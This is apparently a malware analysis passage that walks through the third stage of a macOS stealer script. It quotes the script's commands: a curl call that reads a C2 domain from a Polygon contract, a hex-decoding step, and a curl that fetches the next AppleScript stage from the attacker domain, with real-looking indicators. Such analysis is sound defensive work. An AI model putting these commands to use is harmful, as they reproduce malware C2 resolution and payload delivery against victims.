Essential macOS Stealer - script.sh

Experimenting with Stage3

The cURL is as follows:

1
curl -s --max-time 15 https://tenderly.rpc.polygon.community -X POST -H 'Content-Type: applicaton/json' --data '{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0","data":"0x2686ecea"},"latest"],"id":1}'

The response, which was still available at the time of writing, is:

1
{"jsonrpc":"2.0","id":1,"result":"0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000964396d6a732e7362730000000000000000000000000000000000000000000000"}

The result is returned in the response’s result key, as defined by JSON-RPC, so the sed command extracts it. The sed command has two parts: the first matches .*result:0x, followed by a capturing group containing the ID up to the double quote. The second part references that group as \1. If nothing is extracted ([ -z $h ], the zero-length test on $h), the script exits.

For the response above, sed returns:

1
0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000964396d6a732e7362730000000000000000000000000000000000000000000000

This value is assigned to h.

The printf command converts the first part of the response string from hexadecimal to decimal and assigns it to l. Its value is 9, because the length is stored at the 64th character. The second part is 18 hexadecimal characters converted to binary with xxd. Its value is 64396d6a732e736273 before passing through xxd and d9mjs.sbs afterward.

1
l=$(printf %d "0x${h:64:64}"); echo ${h:128:$((l*2))} | xxd -r -p
2
d9mjs.sbs

The final step is another cURL command using quoted form of run_curl, which quotes everything returned by run_curl. In this case, that is the output of xxd, the last command executed by xxd. The second domain then sends another AppleScript, as indicated by the second osascript. The txid variable is set to 7dc957c3cfcbf7bb79ff3b8f0f8288a9, which is likely a campaign ID. The URL also contains a bmodule parameter, probably used to request another sample or a command from the C2 server.

The last cURL is:

1
curl --connect-timeout 5 --max-time 20 --retry 3 --retry-delay 5 https://d9mjs.sbs -X POST  -d 'txid=7dc957c3cfcbf7bb79ff3b8f0f8288a9&bmodule' > stage4.applescript